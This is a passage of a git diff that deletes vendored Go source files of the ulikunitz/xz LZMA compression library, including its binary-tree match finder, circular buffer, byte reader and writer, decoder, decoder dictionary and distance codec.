be found in the LICENSE file. - -package lzma - -import ( - "bufio" - "errors" - "fmt" - "io" - "unicode" -) - -// node represents a node in the binary tree. -type node struct { - // x is the search value - x uint32 - // p parent node - p uint32 - // l left child - l uint32 - // r right child - r uint32 -} - -// wordLen is the number of bytes represented by the v field of a node. -const wordLen = 4 - -// binTree supports the identification of the next operation based on a -// binary tree. -// -// Nodes will be identified by their index into the ring buffer. -type binTree struct { - dict *encoderDict - // ring buffer of nodes - node []node - // absolute offset of the entry for the next node. Position 4 - // byte larger. - hoff int64 - // front position in the node ring buffer - front uint32 - // index of the root node - root uint32 - // current x value - x uint32 - // preallocated array - data []byte -} - -// null represents the nonexistent index. We can't use zero because it -// would always exist or we would need to decrease the index for each -// reference. -const null uint32 = 1<<32 - 1 - -// newBinTree initializes the binTree structure. The capacity defines -// the size of the buffer and defines the maximum distance for which -// matches will be found. -func newBinTree(capacity int) (t *binTree, err error) { - if capacity < 1 { - return nil, errors.New( - "newBinTree: capacity must be larger than zero") - } - if int64(capacity) >= int64(null) { - return nil, errors.New( - "newBinTree: capacity must less 2^{32}-1") - } - t = &binTree{ - node: make([]node, capacity), - hoff: -int64(wordLen), - root: null, - data: make([]byte, maxMatchLen), - } - return t, nil -} - -func (t *binTree) SetDict(d *encoderDict) { t.dict = d } - -// WriteByte writes a single byte into the binary tree. -func (t *binTree) WriteByte(c byte) error { - t.x = (t.x << 8) | uint32(c) - t.hoff++ - if t.hoff < 0 { - return nil - } - v := t.front - if int64(v) < t.hoff { - // We are overwriting old nodes stored in the tree. - t.remove(v) - } - t.node[v].x = t.x - t.add(v) - t.front++ - if int64(t.front) >= int64(len(t.node)) { - t.front = 0 - } - return nil -} - -// Writes writes a sequence of bytes into the binTree structure. -func (t *binTree) Write(p []byte) (n int, err error) { - for _, c := range p { - t.WriteByte(c) - } - return len(p), nil -} - -// add puts the node v into the tree. The node must not be part of the -// tree before. -func (t *binTree) add(v uint32) { - vn := &t.node[v] - // Set left and right to null indices. - vn.l, vn.r = null, null - // If the binary tree is empty make v the root. - if t.root == null { - t.root = v - vn.p = null - return - } - x := vn.x - p := t.root - // Search for the right leave link and add the new node. - for { - pn := &t.node[p] - if x <= pn.x { - if pn.l == null { - pn.l = v - vn.p = p - return - } - p = pn.l - } else { - if pn.r == null { - pn.r = v - vn.p = p - return - } - p = pn.r - } - } -} - -// parent returns the parent node index of v and the pointer to v value -// in the parent. -func (t *binTree) parent(v uint32) (p uint32, ptr *uint32) { - if t.root == v { - return null, &t.root - } - p = t.node[v].p - if t.node[p].l == v { - ptr = &t.node[p].l - } else { - ptr = &t.node[p].r - } - return -} - -// Remove node v. -func (t *binTree) remove(v uint32) { - vn := &t.node[v] - p, ptr := t.parent(v) - l, r := vn.l, vn.r - if l == null { - // Move the right child up. - *ptr = r - if r != null { - t.node[r].p = p - } - return - } - if r == null { - // Move the left child up. - *ptr = l - t.node[l].p = p - return - } - - // Search the in-order predecessor u. - un := &t.node[l] - ur := un.r - if ur == null { - // In order predecessor is l. Move it up. - un.r = r - t.node[r].p = l - un.p = p - *ptr = l - return - } - var u uint32 - for { - // Look for the max value in the tree where l is root. - u = ur - ur = t.node[u].r - if ur == null { - break - } - } - // replace u with ul - un = &t.node[u] - ul := un.l - up := un.p - t.node[up].r = ul - if ul != null { - t.node[ul].p = up - } - - // replace v by u - un.l, un.r = l, r - t.node[l].p = u - t.node[r].p = u - *ptr = u - un.p = p -} - -// search looks for the node that have the value x or for the nodes that -// brace it. The node highest in the tree with the value x will be -// returned. All other nodes with the same value live in left subtree of -// the returned node. -func (t *binTree) search(v uint32, x uint32) (a, b uint32) { - a, b = null, null - if v == null { - return - } - for { - vn := &t.node[v] - if x <= vn.x { - if x == vn.x { - return v, v - } - b = v - if vn.l == null { - return - } - v = vn.l - } else { - a = v - if vn.r == null { - return - } - v = vn.r - } - } -} - -// max returns the node with maximum value in the subtree with v as -// root. -func (t *binTree) max(v uint32) uint32 { - if v == null { - return null - } - for { - r := t.node[v].r - if r == null { - return v - } - v = r - } -} - -// min returns the node with the minimum value in the subtree with v as -// root. -func (t *binTree) min(v uint32) uint32 { - if v == null { - return null - } - for { - l := t.node[v].l - if l == null { - return v - } - v = l - } -} - -// pred returns the in-order predecessor of node v. -func (t *binTree) pred(v uint32) uint32 { - if v == null { - return null - } - u := t.max(t.node[v].l) - if u != null { - return u - } - for { - p := t.node[v].p - if p == null { - return null - } - if t.node[p].r == v { - return p - } - v = p - } -} - -// succ returns the in-order successor of node v. -func (t *binTree) succ(v uint32) uint32 { - if v == null { - return null - } - u := t.min(t.node[v].r) - if u != null { - return u - } - for { - p := t.node[v].p - if p == null { - return null - } - if t.node[p].l == v { - return p - } - v = p - } -} - -// xval converts the first four bytes of a into an 32-bit unsigned -// integer in big-endian order. -func xval(a []byte) uint32 { - var x uint32 - switch len(a) { - default: - x |= uint32(a[3]) - fallthrough - case 3: - x |= uint32(a[2]) << 8 - fallthrough - case 2: - x |= uint32(a[1]) << 16 - fallthrough - case 1: - x |= uint32(a[0]) << 24 - case 0: - } - return x -} - -// dumpX converts value x into a four-letter string. -func dumpX(x uint32) string { - a := make([]byte, 4) - for i := 0; i < 4; i++ { - c := byte(x >> uint((3-i)*8)) - if unicode.IsGraphic(rune(c)) { - a[i] = c - } else { - a[i] = '.' - } - } - return string(a) -} - -// dumpNode writes a representation of the node v into the io.Writer. -func (t *binTree) dumpNode(w io.Writer, v uint32, indent int) { - if v == null { - return - } - - vn := &t.node[v] - - t.dumpNode(w, vn.r, indent+2) - - for i := 0; i < indent; i++ { - fmt.Fprint(w, " ") - } - if vn.p == null { - fmt.Fprintf(w, "node %d %q parent null\n", v, dumpX(vn.x)) - } else { - fmt.Fprintf(w, "node %d %q parent %d\n", v, dumpX(vn.x), vn.p) - } - - t.dumpNode(w, vn.l, indent+2) -} - -// dump prints a representation of the binary tree into the writer. -func (t *binTree) dump(w io.Writer) error { - bw := bufio.NewWriter(w) - t.dumpNode(bw, t.root, 0) - return bw.Flush() -} - -func (t *binTree) distance(v uint32) int { - dist := int(t.front) - int(v) - if dist <= 0 { - dist += len(t.node) - } - return dist -} - -type matchParams struct { - rep [4]uint32 - // length when match will be accepted - nAccept int - // nodes to check - check int - // finish if length get shorter - stopShorter bool -} - -func (t *binTree) match(m match, distIter func() (int, bool), p matchParams, -) (r match, checked int, accepted bool) { - buf := &t.dict.buf - for { - if checked >= p.check { - return m, checked, true - } - dist, ok := distIter() - if !ok { - return m, checked, false - } - checked++ - if m.n > 0 { - i := buf.rear - dist + m.n - 1 - if i < 0 { - i += len(buf.data) - } else if i >= len(buf.data) { - i -= len(buf.data) - } - if buf.data[i] != t.data[m.n-1] { - if p.stopShorter { - return m, checked, false - } - continue - } - } - n := buf.matchLen(dist, t.data) - switch n { - case 0: - if p.stopShorter { - return m, checked, false - } - continue - case 1: - if uint32(dist-minDistance) != p.rep[0] { - continue - } - } - if n < m.n || (n == m.n && int64(dist) >= m.distance) { - continue - } - m = match{int64(dist), n} - if n >= p.nAccept { - return m, checked, true - } - } -} - -func (t *binTree) NextOp(rep [4]uint32) operation { - // retrieve maxMatchLen data - n, _ := t.dict.buf.Peek(t.data[:maxMatchLen]) - if n == 0 { - panic("no data in buffer") - } - t.data = t.data[:n] - - var ( - m match - x, u, v uint32 - iterPred, iterSucc func() (int, bool) - ) - p := matchParams{ - rep: rep, - nAccept: maxMatchLen, - check: 32, - } - i := 4 - iterSmall := func() (dist int, ok bool) { - i-- - if i <= 0 { - return 0, false - } - return i, true - } - m, checked, accepted := t.match(m, iterSmall, p) - if accepted { - goto end - } - p.check -= checked - x = xval(t.data) - u, v = t.search(t.root, x) - if u == v && len(t.data) == 4 { - iter := func() (dist int, ok bool) { - if u == null { - return 0, false - } - dist = t.distance(u) - u, v = t.search(t.node[u].l, x) - if u != v { - u = null - } - return dist, true - } - m, _, _ = t.match(m, iter, p) - goto end - } - p.stopShorter = true - iterSucc = func() (dist int, ok bool) { - if v == null { - return 0, false - } - dist = t.distance(v) - v = t.succ(v) - return dist, true - } - m, checked, accepted = t.match(m, iterSucc, p) - if accepted { - goto end - } - p.check -= checked - iterPred = func() (dist int, ok bool) { - if u == null { - return 0, false - } - dist = t.distance(u) - u = t.pred(u) - return dist, true - } - m, _, _ = t.match(m, iterPred, p) -end: - if m.n == 0 { - return lit{t.data[0]} - } - return m -} diff --git a/vendor/github.com/ulikunitz/xz/lzma/bitops.go b/vendor/github.com/ulikunitz/xz/lzma/bitops.go deleted file mode 100644 index e9bab01990..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzma/bitops.go +++ /dev/null @@ -1,45 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package lzma - -/* Naming conventions follows the CodeReviewComments in the Go Wiki. */ - -// ntz32Const is used by the functions NTZ and NLZ. -const ntz32Const = 0x04d7651f - -// ntz32Table is a helper table for de Bruijn algorithm by Danny DubÊ. -// See Henry S. Warren, Jr. "Hacker's Delight" section 5-1 figure 5-26. -var ntz32Table = [32]int8{ - 0, 1, 2, 24, 3, 19, 6, 25, - 22, 4, 20, 10, 16, 7, 12, 26, - 31, 23, 18, 5, 21, 9, 15, 11, - 30, 17, 8, 14, 29, 13, 28, 27, -} - -// ntz32 computes the number of trailing zeros for an unsigned 32-bit integer. -func ntz32(x uint32) int { - if x == 0 { - return 32 - } - x = (x & -x) * ntz32Const - return int(ntz32Table[x>>27]) -} - -// nlz32 computes the number of leading zeros for an unsigned 32-bit integer. -func nlz32(x uint32) int { - // Smear left most bit to the right - x |= x >> 1 - x |= x >> 2 - x |= x >> 4 - x |= x >> 8 - x |= x >> 16 - // Use ntz mechanism to calculate nlz. - x++ - if x == 0 { - return 0 - } - x *= ntz32Const - return 32 - int(ntz32Table[x>>27]) -} diff --git a/vendor/github.com/ulikunitz/xz/lzma/breader.go b/vendor/github.com/ulikunitz/xz/lzma/breader.go deleted file mode 100644 index 5350d814fa..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzma/breader.go +++ /dev/null @@ -1,39 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package lzma - -import ( - "errors" - "io" -) - -// breader provides the ReadByte function for a Reader. It doesn't read -// more data from the reader than absolutely necessary. -type breader struct { - io.Reader - // helper slice to save allocations - p []byte -} - -// ByteReader converts an io.Reader into an io.ByteReader. -func ByteReader(r io.Reader) io.ByteReader { - br, ok := r.(io.ByteReader) - if !ok { - return &breader{r, make([]byte, 1)} - } - return br -} - -// ReadByte read byte function. -func (r *breader) ReadByte() (c byte, err error) { - n, err := r.Reader.Read(r.p) - if n < 1 { - if err == nil { - err = errors.New("breader.ReadByte: no data") - } - return 0, err - } - return r.p[0], nil -} diff --git a/vendor/github.com/ulikunitz/xz/lzma/buffer.go b/vendor/github.com/ulikunitz/xz/lzma/buffer.go deleted file mode 100644 index 50e0b6d57b..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzma/buffer.go +++ /dev/null @@ -1,171 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package lzma - -import ( - "errors" -) - -// buffer provides a circular buffer of bytes. If the front index equals -// the rear index the buffer is empty. As a consequence front cannot be -// equal rear for a full buffer. So a full buffer has a length that is -// one byte less the the length of the data slice. -type buffer struct { - data []byte - front int - rear int -} - -// newBuffer creates a buffer with the given size. -func newBuffer(size int) *buffer { - return &buffer{data: make([]byte, size+1)} -} - -// Cap returns the capacity of the buffer. -func (b *buffer) Cap() int { - return len(b.data) - 1 -} - -// Resets the buffer. The front and rear index are set to zero. -func (b *buffer) Reset() { - b.front = 0 - b.rear = 0 -} - -// Buffered returns the number of bytes buffered. -func (b *buffer) Buffered() int { - delta := b.front - b.rear - if delta < 0 { - delta += len(b.data) - } - return delta -} - -// Available returns the number of bytes available for writing. -func (b *buffer) Available() int { - delta := b.rear - 1 - b.front - if delta < 0 { - delta += len(b.data) - } - return delta -} - -// addIndex adds a non-negative integer to the index i and returns the -// resulting index. The function takes care of wrapping the index as -// well as potential overflow situations. -func (b *buffer) addIndex(i int, n int) int { - // subtraction of len(b.data) prevents overflow - i += n - len(b.data) - if i < 0 { - i += len(b.data) - } - return i -} - -// Read reads bytes from the buffer into p and returns the number of -// bytes read. The function never returns an error but might return less -// data than requested. -func (b *buffer) Read(p []byte) (n int, err error) { - n, err = b.Peek(p) - b.rear = b.addIndex(b.rear, n) - return n, err -} - -// Peek reads bytes from the buffer into p without changing the buffer. -// Peek will never return an error but might return less data than -// requested. -func (b *buffer) Peek(p []byte) (n int, err error) { - m := b.Buffered() - n = len(p) - if m < n { - n = m - p = p[:n] - } - k := copy(p, b.data[b.rear:]) - if k < n { - copy(p[k:], b.data) - } - return n, nil -} - -// Discard skips the n next bytes to read from the buffer, returning the -// bytes discarded. -// -// If Discards skips fewer than n bytes, it returns an error. -func (b *buffer) Discard(n int) (discarded int, err error) { - if n < 0 { - return 0, errors.New("buffer.Discard: negative argument") - } - m := b.Buffered() - if m < n { - n = m - err = errors.New( - "buffer.Discard: discarded less bytes then requested") - } - b.rear = b.addIndex(b.rear, n) - return n, err -} - -// ErrNoSpace indicates that there is insufficient space for the Write -// operation. -var ErrNoSpace = errors.New("insufficient space") - -// Write puts data into the buffer. If less bytes are written than -// requested ErrNoSpace is returned. -func (b *buffer) Write(p []byte) (n int, err error) { - m := b.Available() - n = len(p) - if m < n { - n = m - p = p[:m] - err = ErrNoSpace - } - k := copy(b.data[b.front:], p) - if k < n { - copy(b.data, p[k:]) - } - b.front = b.addIndex(b.front, n) - return n, err -} - -// WriteByte writes a single byte into the buffer. The error ErrNoSpace -// is returned if no single byte is available in the buffer for writing. -func (b *buffer) WriteByte(c byte) error { - if b.Available() < 1 { - return ErrNoSpace - } - b.data[b.front] = c - b.front = b.addIndex(b.front, 1) - return nil -} - -// prefixLen returns the length of the common prefix of a and b. -func prefixLen(a, b []byte) int { - if len(a) > len(b) { - a, b = b, a - } - for i, c := range a { - if b[i] != c { - return i - } - } - return len(a) -} - -// matchLen returns the length of the common prefix for the given -// distance from the rear and the byte slice p. -func (b *buffer) matchLen(distance int, p []byte) int { - var n int - i := b.rear - distance - if i < 0 { - if n = prefixLen(p, b.data[len(b.data)+i:]); n < -i { - return n - } - p = p[n:] - i = 0 - } - n += prefixLen(p, b.data[i:]) - return n -} diff --git a/vendor/github.com/ulikunitz/xz/lzma/bytewriter.go b/vendor/github.com/ulikunitz/xz/lzma/bytewriter.go deleted file mode 100644 index a3696ba08b..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzma/bytewriter.go +++ /dev/null @@ -1,37 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package lzma - -import ( - "errors" - "io" -) - -// ErrLimit indicates that the limit of the LimitedByteWriter has been -// reached. -var ErrLimit = errors.New("limit reached") - -// LimitedByteWriter provides a byte writer that can be written until a -// limit is reached. The field N provides the number of remaining -// bytes. -type LimitedByteWriter struct { - BW io.ByteWriter - N int64 -} - -// WriteByte writes a single byte to the limited byte writer. It returns -// ErrLimit if the limit has been reached. If the byte is successfully -// written the field N of the LimitedByteWriter will be decremented by -// one. -func (l *LimitedByteWriter) WriteByte(c byte) error { - if l.N <= 0 { - return ErrLimit - } - if err := l.BW.WriteByte(c); err != nil { - return err - } - l.N-- - return nil -} diff --git a/vendor/github.com/ulikunitz/xz/lzma/decoder.go b/vendor/github.com/ulikunitz/xz/lzma/decoder.go deleted file mode 100644 index 16e14db394..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzma/decoder.go +++ /dev/null @@ -1,277 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package lzma - -import ( - "errors" - "fmt" - "io" -) - -// decoder decodes a raw LZMA stream without any header. -type decoder struct { - // dictionary; the rear pointer of the buffer will be used for - // reading the data. - Dict *decoderDict - // decoder state - State *state - // range decoder - rd *rangeDecoder - // start stores the head value of the dictionary for the LZMA - // stream - start int64 - // size of uncompressed data - size int64 - // end-of-stream encountered - eos bool - // EOS marker found - eosMarker bool -} - -// newDecoder creates a new decoder instance. The parameter size provides -// the expected byte size of the decompressed data. If the size is -// unknown use a negative value. In that case the decoder will look for -// a terminating end-of-stream marker. -func newDecoder(br io.ByteReader, state *state, dict *decoderDict, size int64) (d *decoder, err error) { - rd, err := newRangeDecoder(br) - if err != nil { - return nil, err - } - d = &decoder{ - State: state, - Dict: dict, - rd: rd, - size: size, - start: dict.pos(), - } - return d, nil -} - -// Reopen restarts the decoder with a new byte reader and a new size. Reopen -// resets the Decompressed counter to zero. -func (d *decoder) Reopen(br io.ByteReader, size int64) error { - var err error - if d.rd, err = newRangeDecoder(br); err != nil { - return err - } - d.start = d.Dict.pos() - d.size = size - d.eos = false - return nil -} - -// decodeLiteral decodes a single literal from the LZMA stream. -func (d *decoder) decodeLiteral() (op operation, err error) { - litState := d.State.litState(d.Dict.byteAt(1), d.Dict.head) - match := d.Dict.byteAt(int(d.State.rep[0]) + 1) - s, err := d.State.litCodec.Decode(d.rd, d.State.state, match, litState) - if err != nil { - return nil, err - } - return lit{s}, nil -} - -// errEOS indicates that an EOS marker has been found. -var errEOS = errors.New("EOS marker found") - -// readOp decodes the next operation from the compressed stream. It -// returns the operation. If an explicit end of stream marker is -// identified the eos error is returned. -func (d *decoder) readOp() (op operation, err error) { - // Value of the end of stream (EOS) marker - const eosDist = 1<<32 - 1 - - state, state2, posState := d.State.states(d.Dict.head) - - b, err := d.State.isMatch[state2].Decode(d.rd) - if err != nil { - return nil, err - } - if b == 0 { - // literal - op, err := d.decodeLiteral() - if err != nil { - return nil, err - } - d.State.updateStateLiteral() - return op, nil - } - b, err = d.State.isRep[state].Decode(d.rd) - if err != nil { - return nil, err - } - if b == 0 { - // simple match - d.State.rep[3], d.State.rep[2], d.State.rep[1] = - d.State.rep[2], d.State.rep[1], d.State.rep[0] - - d.State.updateStateMatch() - // The length decoder returns the length offset. - n, err := d.State.lenCodec.Decode(d.rd, posState) - if err != nil { - return nil, err - } - // The dist decoder returns the distance offset. The actual - // distance is 1 higher. - d.State.rep[0], err = d.State.distCodec.Decode(d.rd, n) - if err != nil { - return nil, err - } - if d.State.rep[0] == eosDist { - d.eosMarker = true - return nil, errEOS - } - op = match{n: int(n) + minMatchLen, - distance: int64(d.State.rep[0]) + minDistance} - return op, nil - } - b, err = d.State.isRepG0[state].Decode(d.rd) - if err != nil { - return nil, err - } - dist := d.State.rep[0] - if b == 0 { - // rep match 0 - b, err = d.State.isRepG0Long[state2].Decode(d.rd) - if err != nil { - return nil, err - } - if b == 0 { - d.State.updateStateShortRep() - op = match{n: 1, distance: int64(dist) + minDistance} - return op, nil - } - } else { - b, err = d.State.isRepG1[state].Decode(d.rd) - if err != nil { - return nil, err - } - if b == 0 { - dist = d.State.rep[1] - } else { - b, err = d.State.isRepG2[state].Decode(d.rd) - if err != nil { - return nil, err - } - if b == 0 { - dist = d.State.rep[2] - } else { - dist = d.State.rep[3] - d.State.rep[3] = d.State.rep[2] - } - d.State.rep[2] = d.State.rep[1] - } - d.State.rep[1] = d.State.rep[0] - d.State.rep[0] = dist - } - n, err := d.State.repLenCodec.Decode(d.rd, posState) - if err != nil { - return nil, err - } - d.State.updateStateRep() - op = match{n: int(n) + minMatchLen, distance: int64(dist) + minDistance} - return op, nil -} - -// apply takes the operation and transforms the decoder dictionary accordingly. -func (d *decoder) apply(op operation) error { - var err error - switch x := op.(type) { - case match: - err = d.Dict.writeMatch(x.distance, x.n) - case lit: - err = d.Dict.WriteByte(x.b) - default: - panic("op is neither a match nor a literal") - } - return err -} - -// decompress fills the dictionary unless no space for new data is -// available. If the end of the LZMA stream has been reached io.EOF will -// be returned. -func (d *decoder) decompress() error { - if d.eos { - return io.EOF - } - for d.Dict.Available() >= maxMatchLen { - op, err := d.readOp() - switch err { - case nil: - break - case errEOS: - d.eos = true - if !d.rd.possiblyAtEnd() { - return errDataAfterEOS - } - if d.size >= 0 && d.size != d.Decompressed() { - return errSize - } - return io.EOF - case io.EOF: - d.eos = true - return io.ErrUnexpectedEOF - default: - return err - } - if err = d.apply(op); err != nil { - return err - } - if d.size >= 0 && d.Decompressed() >= d.size { - d.eos = true - if d.Decompressed() > d.size { - return errSize - } - if !d.rd.possiblyAtEnd() { - switch _, err = d.readOp(); err { - case nil: - return errSize - case io.EOF: - return io.ErrUnexpectedEOF - case errEOS: - break - default: - return err - } - } - return io.EOF - } - } - return nil -} - -// Errors that may be returned while decoding data. -var ( - errDataAfterEOS = errors.New("lzma: data after end of stream marker") - errSize = errors.New("lzma: wrong uncompressed data size") -) - -// Read reads data from the buffer. If no more data is available io.EOF is -// returned. -func (d *decoder) Read(p []byte) (n int, err error) { - var k int - for { - // Read of decoder dict never returns an error. - k, err = d.Dict.Read(p[n:]) - if err != nil { - panic(fmt.Errorf("dictionary read error %s", err)) - } - if k == 0 && d.eos { - return n, io.EOF - } - n += k - if n >= len(p) { - return n, nil - } - if err = d.decompress(); err != nil && err != io.EOF { - return n, err - } - } -} - -// Decompressed returns the number of bytes decompressed by the decoder. -func (d *decoder) Decompressed() int64 { - return d.Dict.pos() - d.start -} diff --git a/vendor/github.com/ulikunitz/xz/lzma/decoderdict.go b/vendor/github.com/ulikunitz/xz/lzma/decoderdict.go deleted file mode 100644 index 564a12b834..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzma/decoderdict.go +++ /dev/null @@ -1,135 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package lzma - -import ( - "errors" - "fmt" -) - -// decoderDict provides the dictionary for the decoder. The whole -// dictionary is used as reader buffer. -type decoderDict struct { - buf buffer - head int64 -} - -// newDecoderDict creates a new decoder dictionary. The whole dictionary -// will be used as reader buffer. -func newDecoderDict(dictCap int) (d *decoderDict, err error) { - // lower limit supports easy test cases - if !(1 <= dictCap && int64(dictCap) <= MaxDictCap) { - return nil, errors.New("lzma: dictCap out of range") - } - d = &decoderDict{buf: *newBuffer(dictCap)} - return d, nil -} - -// Reset clears the dictionary. The read buffer is not changed, so the -// buffered data can still be read. -func (d *decoderDict) Reset() { - d.head = 0 -} - -// WriteByte writes a single byte into the dictionary. It is used to -// write literals into the dictionary. -func (d *decoderDict) WriteByte(c byte) error { - if err := d.buf.WriteByte(c); err != nil { - return err - } - d.head++ - return nil -} - -// pos returns the position of the dictionary head. -func (d *decoderDict) pos() int64 { return d.head } - -// dictLen returns the actual length of the dictionary. -func (d *decoderDict) dictLen() int { - capacity := d.buf.Cap() - if d.head >= int64(capacity) { - return capacity - } - return int(d.head) -} - -// byteAt returns a byte stored in the dictionary. If the distance is -// non-positive or exceeds the current length of the dictionary the zero -// byte is returned. -func (d *decoderDict) byteAt(dist int) byte { - if !(0 < dist && dist <= d.dictLen()) { - return 0 - } - i := d.buf.front - dist - if i < 0 { - i += len(d.buf.data) - } - return d.buf.data[i] -} - -// writeMatch writes the match at the top of the dictionary. The given -// distance must point in the current dictionary and the length must not -// exceed the maximum length 273 supported in LZMA. -// -// The error value ErrNoSpace indicates that no space is available in -// the dictionary for writing. You need to read from the dictionary -// first. -func (d *decoderDict) writeMatch(dist int64, length int) error { - if !(0 < dist && dist <= int64(d.dictLen())) { - return errors.New("writeMatch: distance out of range") - } - if !(0 < length && length <= maxMatchLen) { - return errors.New("writeMatch: length out of range") - } - if length > d.buf.Available() { - return ErrNoSpace - } - d.head += int64(length) - - i := d.buf.front - int(dist) - if i < 0 { - i += len(d.buf.data) - } - for length > 0 { - var p []byte - if i >= d.buf.front { - p = d.buf.data[i:] - i = 0 - } else { - p = d.buf.data[i:d.buf.front] - i = d.buf.front - } - if len(p) > length { - p = p[:length] - } - if _, err := d.buf.Write(p); err != nil { - panic(fmt.Errorf("d.buf.Write returned error %s", err)) - } - length -= len(p) - } - return nil -} - -// Write writes the given bytes into the dictionary and advances the -// head. -func (d *decoderDict) Write(p []byte) (n int, err error) { - n, err = d.buf.Write(p) - d.head += int64(n) - return n, err -} - -// Available returns the number of available bytes for writing into the -// decoder dictionary. -func (d *decoderDict) Available() int { return d.buf.Available() } - -// Read reads data from the buffer contained in the decoder dictionary. -func (d *decoderDict) Read(p []byte) (n int, err error) { return d.buf.Read(p) } - -// Buffered returns the number of bytes currently buffered in the -// decoder dictionary. -func (d *decoderDict) buffered() int { return d.buf.Buffered() } - -// Peek gets data from the buffer without advancing the rear index. -func (d *decoderDict) peek(p []byte) (n int, err error) { return d.buf.Peek(p) } diff --git a/vendor/github.com/ulikunitz/xz/lzma/directcodec.go b/vendor/github.com/ulikunitz/xz/lzma/directcodec.go deleted file mode 100644 index e08eb989ff..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzma/directcodec.go +++ /dev/null @@ -1,49 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package lzma - -import "fmt" - -// directCodec allows the encoding and decoding of values with a fixed number -// of bits. The number of bits must be in the range [1,32]. -type directCodec byte - -// makeDirectCodec creates a directCodec. The function panics if the number of -// bits is not in the range [1,32]. -func makeDirectCodec(bits int) directCodec { - if !(1 <= bits && bits <= 32) { - panic(fmt.Errorf("bits=%d out of range", bits)) - } - return directCodec(bits) -} - -// Bits returns the number of bits supported by this codec. -func (dc directCodec) Bits() int { - return int(dc) -} - -// Encode uses the range encoder to encode a value with the fixed number of -// bits. The most-significant bit is encoded first. -func (dc directCodec) Encode(e *rangeEncoder, v uint32) error { - for i := int(dc) - 1; i >= 0; i-- { - if err := e.DirectEncodeBit(v >> uint(i)); err != nil { - return err - } - } - return nil -} - -// Decode uses the range decoder to decode a value with the given number of -// given bits. The most-significant bit is decoded first. -func (dc directCodec) Decode(d *rangeDecoder) (v uint32, err error) { - for i := int(dc) - 1; i >= 0; i-- { - x, err := d.DirectDecodeBit() - if err != nil { - return 0, err - } - v = (v << 1) | x - } - return v, nil -} diff --git a/vendor/github.com/ulikunitz/xz/lzma/distcodec.go b/vendor/github.com/ulikunitz/xz/lzma/distcodec.go deleted file mode 100644 index b053a2dce2..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzma/distcodec.go +++ /dev/null @@ -1,156 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package lzma - -// Constants used by the distance codec. -const ( - // minimum supported distance - minDistance = 1 - // maximum supported distance, value is used for the eos marker. - maxDistance = 1 << 32 - // number of the supported len states - lenStates = 4 - // start for the position models - startPosModel = 4 - // first index with align bits support - endPosModel = 14 - // bits for the position slots - posSlotBits = 6 - // number of align bits - alignBits = 4 - // maximum position slot - maxPosSlot = 63 -) - -// distCodec provides encoding and decoding of distance values. -type distCodec struct { - posSlotCodecs [lenStates]treeCodec - posModel [endPosModel - startPosModel]treeReverseCodec - alignCodec treeReverseCodec -} - -// deepcopy initializes dc as deep copy of the source. -func (dc *distCodec) deepcopy(src *distCodec) { - if dc == src { - return - } - for i := range dc.posSlotCodecs { - dc.posSlotCodecs[i].deepcopy(&src.posSlotCodecs[i]) - } - for i := range dc.posModel { - dc.posModel[i].deepcopy(&src.posModel[i]) - } - dc.alignCodec.deepcopy(&src.alignCodec) -} - -// distBits returns the number of bits required to encode dist. -func distBits(dist uint32) int { - if dist < startPosModel { - return 6 - } - // slot s > 3, dist d - // s = 2(bits(d)-1) + bit(d, bits(d)-2) - // s>>1 = bits(d)-1 - // bits(d) = 32-nlz32(d) - // s>>1=31-nlz32(d) - // n = 5 + (s>>1) = 36 - nlz32(d) - return 36 - nlz32(dist) -} - -// newDistCodec creates a new distance codec. -func (dc *distCodec) init() { - for i := range dc.posSlotCodecs { - dc.posSlotCodecs[i] = makeTreeCodec(posSlotBits) - } - for i := range dc.posModel { - posSlot := startPosModel + i - bits := (posSlot >> 1) - 1 - dc.posModel[i] = makeTreeReverseCodec(bits) - } - dc.alignCodec = makeTreeReverseCodec(alignBits) -} - -// lenState converts the value l to a supported lenState value. -func lenState(l uint32) uint32 { - if l >= lenStates { - l = lenStates - 1 - } - return l -} - -// Encode encodes the distance using the parameter l. Dist can have values from -// the full range of uint32 values. To get the distance offset the actual match -// distance has to be decreased by 1. A distance offset of 0xffffffff (eos) -// indicates the end of the stream. -func (dc *distCodec) Encode(e *rangeEncoder, dist uint32, l uint32) (err error) { - // Compute the posSlot using nlz32 - var posSlot uint32 - var bits uint32 - if dist < startPosModel { - posSlot = dist - } else { - bits = uint32(30 - nlz32(dist)) - posSlot = startPosModel - 2 + (bits << 1) - posSlot += (dist >> uint(bits)) & 1 - } - - if err = dc.posSlotCodecs[lenState(l)].Encode(e, posSlot); err != nil { - return - } - - switch { - case posSlot < startPosModel: - return nil - case posSlot < endPosModel: - tc := &dc.posModel[posSlot-startPosModel] - return tc.Encode(dist, e) - } - dic := directCodec(bits - alignBits) - if err = dic.Encode(e, dist>>alignBits); err != nil { - return - } - return dc.alignCodec.Encode(dist, e) -} - -// Decode decodes the distance offset using the parameter l. The dist value -// 0xffffffff (eos) indicates the end of the stream. Add one to the distance -// offset to get the actual match distance. -func (dc *distCodec) Decode(d *rangeDecoder, l uint32) (dist uint32, err error) { - posSlot, err := dc.posSlotCodecs[lenState(l)].Decode(d) - if err != nil { - return - } - - // posSlot 